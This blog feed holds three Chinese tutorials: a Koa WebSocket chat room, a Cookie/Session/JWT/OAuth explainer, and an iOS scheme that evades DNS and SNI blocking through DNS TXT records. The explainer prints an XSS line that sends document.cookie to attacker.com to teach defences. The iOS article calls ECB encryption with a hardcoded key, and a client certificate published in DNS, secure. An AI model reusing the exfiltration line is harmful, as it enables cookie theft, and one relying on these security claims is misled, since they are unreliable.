阅读视图

发现新文章,点击刷新页面。

面试官问SSE和WebSocket的区别?看这篇就够了(含心跳机制详解)

最近在复习计算机网络和 LLM 相关技术时,我突然意识到一个很有意思的现象:现在的 AI 聊天大多用的是 SSE,但提到真正的实时互动,还得看 WebSocket

为了搞懂这玩意儿,我手写了一个简易版的聊天室。今天就把我的学习笔记、代码实现,还有那些让人头秃的协议对比,一次性全掏出来!


🤔 为什么 HTTP 不适合聊天?

咱们先聊聊背景。作为前端,我们最熟悉的是 HTTP 协议。

HTTP 就像是一个“高冷”的客服

  • 你问一句(Request),它答一句(Response)。
  • 答完就挂电话(短连接),下次想问得重新拨号。

如果你想做一个聊天室,用 HTTP 怎么办?只能靠轮询

// 每隔 1 秒问一次服务器:“有新消息吗?有新消息吗?”
setInterval(() => {
  fetch('/api/messages').then(...)
}, 1000);

这太蠢了,对吧?性能差,延迟高,服务器都要被问烦了。

SSE 呢?SSE 适合 LLM 那种“流式输出”(我一次提问,它一直吐字),它是单向的。但聊天是双向的,我要发,你也要发。

所以,我们需要一个能建立“长连接”、双方都能主动说话的协议——WebSocket


💡 WebSocket:一次握手,终身相伴

WebSocket 是 HTML5 提供的一种在单个 TCP 连接上进行全双工通讯的协议。

  • 全双工:就像打电话,双方都可以同时说话,不需要等对方说完。
  • 长连接:一旦建立,除非主动断开,否则一直连着。

📝 核心代码逻辑拆解

这里我用 Koa + koa-websocket 来实现。为了让大家看得更清楚,我把代码拆成三个关键步骤来讲。

步骤一:搭建舞台(服务端初始化)

首先,我们需要让 Koa 具备处理 WebSocket 的能力,并准备一个“花名册”来记录所有连进来的用户。

javascript

编辑

const Koa = require('koa');
const websocket = require('koa-websocket');

// 1. 初始化 Koa 并赋予 WebSocket 能力
const app = websocket(new Koa());

// 2. 准备一个 Set 集合,用来存储所有连接的客户端
// 为什么用 Set?因为我们要保证连接对象的唯一性
const clients = new Set();

步骤二:派发请柬(处理 HTTP 请求)

WebSocket 连接通常是从一个网页开始的。所以,我们需要一个普通的 HTTP 中间件,返回给浏览器一个包含聊天界面的 HTML 页面。

javascript

编辑

// 3. 处理普通 HTTP 请求:返回我们的聊天页面
app.use(async (ctx) => {
    ctx.body = `
    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>WebSocket Chat</title>
    </head>
    <body>
       <div id="messages" style="height:300px;overflow-y:scroll; border:1px solid #ccc;"></div>
        <input type="text" id="messageInput" placeholder="输入消息..."/>
        <button onclick="sendMessage()">发送</button>
        <script>
            // 核心在这里:前端建立 WebSocket 连接
            // 注意协议是 ws:// 而不是 http://
            const ws = new WebSocket('ws://localhost:3000/ws');
            
            // 监听服务器发来的消息
            ws.onmessage = function(event){
                const messageDiv = document.getElementById('messages');
                messageDiv.innerHTML += '<div>' + event.data + '</div>';
            }
            
            function sendMessage(){
                const input = document.getElementById('messageInput');
                ws.send(input.value); // 发送消息
                input.value = '';
            }
        </script>
    </body>
    </html>
    `
})

步骤三:建立专线(处理 WebSocket 连接)

这是最关键的一步。当浏览器执行了 new WebSocket() 后,服务器会通过 app.ws.use 捕获到这个连接请求。

这里我们主要做三件事:登记用户监听消息广播消息

javascript

编辑

// 4. 处理 WebSocket 连接
app.ws.use(async (ctx) => {
    // A. 登记:将当前连接加入集合
    clients.add(ctx.websocket);
    console.log('当前在线人数:', clients.size);

    // B. 监听:当收到某人的消息时
    ctx.websocket.on('message', message => {
        // C. 广播:把这条消息发给“花名册”里的每一个人
        for(const client of clients){
            client.send(message.toString());
        }
    });

    // D. 离场:监听断开连接,把人从花名册里删掉
    ctx.websocket.on('close', () => {
        clients.delete(ctx.websocket);
        console.log('有人离开了...');
    });
})

app.listen(3000, () => {
    console.log('🚀 服务器启动,请访问 http://localhost:3000');
});

运行效果:
打开浏览器访问 localhost:3000,你可以打开好几个标签页,在一个标签页发消息,所有标签页都会实时收到消息!这就是广播

image.png


📊 一张表看懂 HTTP、SSE 与 WebSocket

为了面试(408 计算机网络)和工作,这三个协议的区别必须门儿清:

特性 HTTP SSE WebSocket
连接方式 短连接 (请求-响应) 长连接 (单向推送) 长连接 (双向通讯)
通讯方向 客户端发起 服务端 -> 客户端 客户端 <-> 服务端
适用场景 网页加载、API 请求 AI 流式输出、股票行情 聊天室、即时游戏、协作编辑
数据格式 文本/JSON/二进制 仅限文本 (text/event-stream) 二进制帧/文本帧
  • SSE:适合“我不动,你推给我”的场景(比如 LLM 打字机效果)。
  • WebSocket:适合“你一句我一句”的场景。

❤️ 心跳机制:长连接的“异地恋”哲学

既然 WebSocket 是长连接,那就面临一个现实问题:网络是不稳定的

路由器重启、手机进电梯、防火墙拦截……都可能导致连接“静默断开”。这时候,客户端以为连着,服务器以为断了,这就尴尬了。

怎么解决?—— 心跳机制

这就好比异地恋的情侣

你们不能一直打电话(开销太大),但必须定期确认对方还在。

  • 客户端:“宝,你在吗?”(Ping)
  • 服务端:“在呢,活着呢。”(Pong)

如果客户端发了 Ping,过了 30 秒还没收到 Pong,那就判定为“分手”(连接断开),然后触发重连机制

代码逻辑示意:

// 客户端
setInterval(() => {
    if(ws.readyState === WebSocket.OPEN){
        ws.send(JSON.stringify({type: 'ping'}));
    }
}, 30000); // 每30秒问候一次

// 服务端
ws.on('message', (msg) => {
    const data = JSON.parse(msg);
    if(data.type === 'ping'){
        ws.send(JSON.stringify({type: 'pong'})); // 秒回
    }
});

📌 总结

今天我们从 HTTP 的局限性出发,手搓了一个基于 Koa 的 WebSocket 聊天室,顺便复习了 SSE 和心跳机制。

划重点:

  1. HTTP 是“一问一答”,WebSocket 是“双向奔赴”。
  2. SSE 适合流式输出(AI),WebSocket 适合即时通讯(Chat)。
  3. 心跳机制是长连接保活的关键,防止“假死”连接。

希望这篇文章能帮你搞定 WebSocket!如果觉得有用,记得点个赞 👍,我们下期见!

为什么关掉浏览器再打开,你还是登录状态?

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性 作用 例子
name=value Cookie的名称和值 sessionId=abc123
Expires 过期时间 Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age 多少秒后过期 Max-Age=3600
Path 生效路径 Path=/
Domain 生效域名 Domain=example.com
Secure 仅HTTPS发送 Secure
HttpOnly JS无法读取 HttpOnly
SameSite 跨站策略 SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」

这个后台记录,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
                        服务器                                
  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ 
   Session ID        Session ID        Session ID    
   abc123            def456            ghi789        
   {user:张三}       {user:李四}       {user:王五}   
  └──────────────┘    └──────────────┘    └──────────────┘ 
└─────────────────────────────────────────────────────────────┘
         
          sessionId=abc123 (Cookie)
         
┌─────────────────────────────────────────────────────────────┐
                        浏览器                                
  Cookie: sessionId=abc123                                   
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器  Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器  客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式 优点 缺点
内存 重启丢失、无法分布式
Redis 快、持久、可分布式 需要额外组件
数据库 持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型 有效期 举例
会话Cookie 关掉浏览器就失效 网银登录(安全)
持久Cookie 到指定日期才失效 购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域:baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器  客户端:{token: "eyJhbGci..."}
5. 客户端  服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征 Session Token
存储位置 服务器 客户端
服务器压力 存储所有Session 只验证签名
扩展性 需要Redis等中间件 无状态
跨域 受Cookie限制 任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

┌────────────────────────────────────────────────────────────┐
 Header (头部) - Base64编码                                  
 { "alg": "HS256", "typ": "JWT" }                          
├────────────────────────────────────────────────────────────┤
 Payload (载荷) - Base64编码                                 
 { "sub": "1234567890", "name": "张三", "exp": 1738128000 }
├────────────────────────────────────────────────────────────┤
 Signature (签名) - 密钥加密                                 
 HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

用户  第三方App  授权服务器  资源服务器
                                  
点击登录  跳转页面   返回授权码    返回Token
                            
                    获取用户信息

OAuth的四种授权方式:

方式 适用场景 安全性
授权码 Web App ⭐⭐⭐⭐⭐
简化 纯前端SPA ⭐⭐⭐
密码模式 自己的产品 ⭐⭐
客户端模式 服务器对服务器 ⭐⭐⭐⭐

总结

类别 是什么 存哪 像什么
Cookie 浏览器存的小数据 浏览器 会员卡
Session 服务器存的用户档案 服务器 健身房后台档案
Token 验证身份的令牌 客户端 临时通行证
OAuth 第三方授权 - 让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。

穿透内容审查与阻断:基于 DNS TXT 记录的动态服务发现与客户端安全加固实践

✍️ 引言

在开发面向全球或特定复杂网络环境的 App(如 XXX、跨境电商、海外加速等)时,最大的痛点往往不是业务逻辑,而是服务端的生存能力。为了对抗域名污染 (DNS Poisoning)SNI 阻断 以及 证书审查,我们通常需要一套极其灵活的「备用链路」与「动态发现」机制。

本文将结合在 iOS/Swift 项目中的实际落地经验,深度剖析一套基于 DNS TXT 记录 派发动态入口域名双向 mTLS 证书(p12)基码 以及 原生 TCP 直连 IP 的高可用架构,并详解其间的技术难点与避坑指南。


🛠 一、 核心架构设计

我们的目标是:哪怕主 Base 域名完全死锁,客户端只要能向公用 DNS 发一个查询,就能满血复活。

1. 数据如何藏在 DNS TXT 里?

由于一台域名的 A记录 只能存 IP,且极其容易被封锁,我们选择将配置加密后塞入 DNS 的 TXT 记录。 我们使用了多级子域名来承载不同的模块(由于 TXT 字符长度限制,需要分片):

子域名 (Subdomain) 承载内容特征 安全措施
root.yourbase.com 加密后的后备 HTTPS 业务 API 域名列表 AES-128-ECB 加密 + Base64
1.yourbase.com mTLS 客户端证书 P12 文件的 Base64 前半段 纯文本分片拼装
2.yourbase.com mTLS 客户端证书 P12 文件的 Base64 后半段 纯文本分片拼装
ip.yourbase.com 绕过 SNI 审查的裸 TCP 直连 IP 点对点通道 纯文本

🧠 二、 技术难点与避坑指南

难点 1:iOS 系统 API 无法直接发起原生 UDP DNS 查询

🚨 问题背景:  iOS 的 getaddrinfo 或者 NWHostResolver 是高层级 API,它们往往只返回处理好的 IP 地址(A/AAAA 记录),极难直接读取到 TXT、SRV 记录。如果调用系统的 res_nquery(属于 C 层的 libresolv),在弱网下容易造成线程死锁,且容易触发 iOS 严格的后台审计。

💡 解决方案:使用 Network 框架手工构建 UDP 53 端口查询 我们在 Swift 中封装了一个 DNSResolver,通过 NWConnection(to: 53, using: .udp) 手工下发标准 DNS 报文(RFC 1035)

  1. 构造 DNS 查询帧

    swift
    var data = Data()
    let id = UInt16.random(in: 1...65535)
    data.append(contentsOf: id.bigEndianBytes)
    data.append(contentsOf: UInt16(0x0100).bigEndianBytes) // Flags: 标准查询
    data.append(contentsOf: UInt16(1).bigEndianBytes)      // Question 数量 1
    // ... 拼接子域名 QNAME、QTYPE 为 16 (TXT)
    
  2. 并发查询优化: 由于国内 DNS 偶尔会有运营商后门或缓存污染,我们使用 withTaskGroup 并发地向四个公共 DNS 服务器发送请求 (223.5.5.5114.114.114.1148.8.8.81.1.1.1),谁最快返回合法的 TXT 内容,就直接 cancelAll() 结束任务


难点 2:UDP 的截断陷阱 (Truncated) 与 TCP 回退

🚨 问题背景:  由于拼装了庞大的客户端 p12 证书 Base64 字符串,TXT 记录往往会合在一起超过 512 字节。 在标准的 DNS UDP 查询中,如果响应超过 512 字节,包头部的 TC (Truncated) 标志位会被置为 1,代表数据被截断。

💡 解决方案:标志位侦测与 TCP Fallback 我们在 UDP 接收处做了一层守卫:

swift
if (data[2] & 0x02) != 0 {  // TC Flag is set!
    // UDP 遭遇截断,降级使用 TCP 53 端口进行可靠全量查询
    return await queryTCP(domain: domain, server: server)
}

进入 queryTCP 时,会在帧最前面补上 2 字节的大端序长度头,直接利用 NWConnection.tcp 握手拿到绝对完整的几千字节 TXT 加密串,完美解决大文件丢失问题。


难点 3:防劫持的 “端到端解密” 校验

🚨 问题背景:  如果中间人(Mitm)故意把你的 TXT 记录篡改成钓鱼网站或错误信息,即便配置下发了,APP 也会崩溃或中招。

💡 解决方案:AES + TCP 握手活性测试

  1. 对称加密:对 root 的分流域名进行 AES-128-ECB 加密。中间人即使拿到了,没有客户端的硬编码 Key 也无法篡改。

  2. TCP 通信握手探测活性: 在真正切换配置前,Manager 会多跑一遍 tcpTest。由于有些域名可能已经“挂了”,客户端会在后台静默并发跑:

    swift
    let connection = NWConnection(to: host, using: .tcp)
    connection.stateUpdateHandler = { state in
        if state == .ready { finish(true) } // 代表服务器可通达,不是死域名
    }
    

难点 4:动态 mTLS 证书灌入 (Security Manager)

经过 AES 解密和两片 TXT (1.txt + 2.txt) 拼装后,我们得到了完整的证书 Base64 编码。 我们要实实现本地无感知实例化,不需要把证书文件落地写死到沙盒里(防止反编译静态检查):

  1. 直接在内存中将组合好的 Base64 数据转为 Data
  2. 使用 SecPKCS12Import 函数,并将空密码(或者约定的暗号)传入,从内存里动态吐出 SecIdentity 和关联的 SecCertificate
  3. 把 Identity 灌入全局 SessionDelegate。当走 HTTPS 握手时,若触发 .clientCertificate 的 URLAuthenticationChallenge,直接从 cache 提取该 Identity 给系统使用。

难点 5:SNI 阻断应急方案 —— 18字节头部纯裸 TCP 定制通道

对于国内在极限阻断(如 SNI 嗅探)下的特殊业务,HTTPS 甚至会被阻断。我们追加了 ip.yourbase.com 提取裸 IP:

  • 业务无感降级:当 HTTPS 全灭,NetworkChannelManager 自动引导流量降级到我们自己用原生 NWConnection 敲出来的裸 TCP 直连。
  • 自定义封包协议:由于对端没有 TLS 证书做阻断,我们在应用层通过自研非对称二进制报头([18字节头部][Path][Hdr][Body] 及 响应 14字节头部)在服务端和客户端穿梭自如,极大增强了业务的可达率骨干。

📈 三、 业务安全成效

通过这套机制的上线,我们成功做到了:

  1. 云端无感知脱壳切换:后台可随意增减高防域名、甚至随时全量更替 TLS 的客户端校验私钥,对老版本客户端保持完美兼容。
  2. 零阻断时长:冷启动到成功跑通业务 HTTPS 的时间通过 TaskGroup 的竞赛机制下降到了 平均 0.3 秒以内。

💡 总结

服务高防链路的最佳伴侣不是冗余服务器,而是灵活、弹性的 发现机制。 利用 DNS 53 这个处于网络信任基座的协议,将 分片加密数据 优雅地回传至 iOS 客户端并发解码,不仅安全可靠,更筑起了一道无法轻易折断的强硬长廊。


提示:  在使用 114 / 223 等大陆 DNS 查询时,注意频率控制以心跳避免被运营商拉入恶意解析黑名单。对于更深层的防污染,甚至可搭配 DNS over HTTPS (DoH) 来取代 53 端口查询。

❌